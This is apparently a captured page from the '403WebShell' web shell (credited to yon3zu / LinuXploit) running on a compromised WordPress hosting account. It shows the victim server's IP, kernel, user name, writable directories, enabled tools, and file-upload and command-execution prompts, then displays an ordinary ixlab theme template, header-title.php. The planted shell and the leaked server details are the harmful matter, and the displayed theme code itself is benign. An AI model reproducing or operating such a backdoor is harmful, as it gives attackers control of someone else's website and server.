Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/geniouskin/wp-content/themes/ixlab/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/geniouskin/wp-content/themes/ixlab/tmpl/header-title.php
<?php
/**
 * The template for displaying title bar
 */
defined( 'ABSPATH' ) or die();


$layout    = ixlab_option( 'header__titlebar' );
$alignment = ixlab_option( 'header__titlebar__align' );

$current_post = get_queried_object();

if ($current_post instanceof WP_Post) {
	/**
	 * Override layout and alignment settings for the specific entry
	 */
	$_layout = get_field( 'titlebarLayout', $current_post->ID );
	$_alignment = get_field( 'titlebarAlign', $current_post->ID );
}

if ( isset( $_layout ) && $_layout != 'default' ) {
	$layout = $_layout;
}

if ( isset( $_alignment ) && $_alignment != 'default' ) {
	$alignment = $_alignment;
}

if ( ( is_front_page() && ixlab_option( 'header__titlebar__home' ) == 'off' ) || $layout == 'none' ) {
	return;
}

$classes = array(
	"content-header",
	"content-header-{$alignment}"
);

if ( is_singular() ) {
	$featured_background_types = (array) ixlab_option( 'header__titlebar__backgroundFeatured' );
	$current_post_type         = ixlab_current_post_type();


	if ( in_array( $current_post_type, $featured_background_types ) && has_post_thumbnail( $current_post->ID ) ) {
		$classes[] = 'content-header-featured';
	}
}

$featured_background_types = (array) ixlab_option( 'header__titlebar__backgroundFeatured' );
$current_post_type         = ixlab_current_post_type();
$show_featured_image       = ! in_array( $current_post_type, $featured_background_types ) && has_post_thumbnail();

?>

<div class="<?php echo esc_attr( join( ' ', $classes ) ) ?>">
	<?php if ( $accent_color = get_field( 'projectAccentColor' ) ): ?>
		<span class="project-client-color" style="background-color: <?php echo esc_attr( $accent_color ) ?>;">
			<?php echo esc_html( $accent_color ) ?>
		</span>
	<?php endif ?>
	<div class="content-header-inner wrap">
		<?php if ( function_exists( 'bcn_display' ) && in_array( $layout, array( 'both', 'breadcrumbs' ) ) ): ?>
			<div class="breadcrumbs">
				<div class="breadcrumbs-inner">
					<?php bcn_display() ?>
				</div>
			</div>
		<?php endif ?>

		<div class="page-title-wrap">
			<?php if ( is_single( $post ) && $post->post_type == 'post' ): ?>
				<div class="post-categories">
					<?php the_category( _x( ', ', 'Used between list items, there is a space after the comma.', 'ixlab' ) ) ?>
				</div>
			<?php endif; ?>
			<?php if ( is_single( $post ) && $post->post_type == 'nproject' ): ?>
				<?php if ( $client_image_id = get_field( 'projectClientLogo', get_post() ) ): ?>
					<div class="project-client-info">
						<?php
							$image = ixlab_get_image_resized( array(
								'image_id' => $client_image_id,
								'size'     => 'full'
							) );

							echo wp_kses_post( $image['thumbnail'] );
						?>
					</div>
				<?php endif ?>
				<div class="post-categories project-categories">
					<?php echo get_the_term_list( get_the_ID(), 'nproject-category' ) ?>
				</div>
			<?php endif ?>

			<?php if ( in_array( $layout, array( 'both', 'title' ) ) ): ?>
				<div class="page-title">
					<?php ixlab_header_page_title() ?>
				</div>
				<?php wp_reset_postdata() ?>
			<?php endif ?>

			<?php if ( ixlab_option( 'header__titlebar__scrolldown' ) == 'on' ): ?>
				<div  class="down-arrow">
					<a href="javascript:;">
						<span><?php esc_html_e( 'Scroll Down', 'ixlab' ) ?></span>
					</a>
				</div>
			<?php endif ?>

			<?php if ( is_single( $post ) && $post->post_type == 'post' ): ?>
					<?php if ( ixlab_option( 'blog__single__postMeta' ) == 'on' ): ?>
					<ul class="post-meta-single">
						<li class="post-meta-author">
							<?php echo get_avatar( get_the_author_meta( 'ID' ), 32 ); ?>
							<span><?php esc_html_e( 'Author', 'ixlab' ) ?></span> <?php the_author_posts_link() ?>
						</li>
						<li>
							<span><?php esc_html_e( 'Published', 'ixlab' ) ?></span> <span class="colorDark"><?php echo esc_html( get_the_date( get_option( 'date_format' ) ) ) ?></span>
						</li>
						<li><?php comments_popup_link( __( '0 Comment', 'ixlab' ), __( '1 Comment', 'ixlab' ), __( '% Comments', 'ixlab' ) ); ?></li>
					</ul>
					<?php endif ?>
			<?php endif ?>		
		</div>
	</div>
	<?php if ( $show_featured_image ): ?>
	    <?php if ( is_singular( $post ) && in_array( $post->post_type, ['post', 'nproject'] ) ): ?>
			<div class="post-thumbnail">
				<div class="imgFeatured"><?php the_post_thumbnail( 'post-thumbnail' ) ?></div>
				<?php if (get_post(get_post_thumbnail_id())->post_excerpt): ?>
				    <p class="featured-image-caption wrap">
				        <span><?php echo ixlab_cleanup(get_post(get_post_thumbnail_id())->post_excerpt); ?></span>
				    </p>
				<?php endif ?>
			</div>
		<?php endif ?>
	<?php endif ?>
	
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit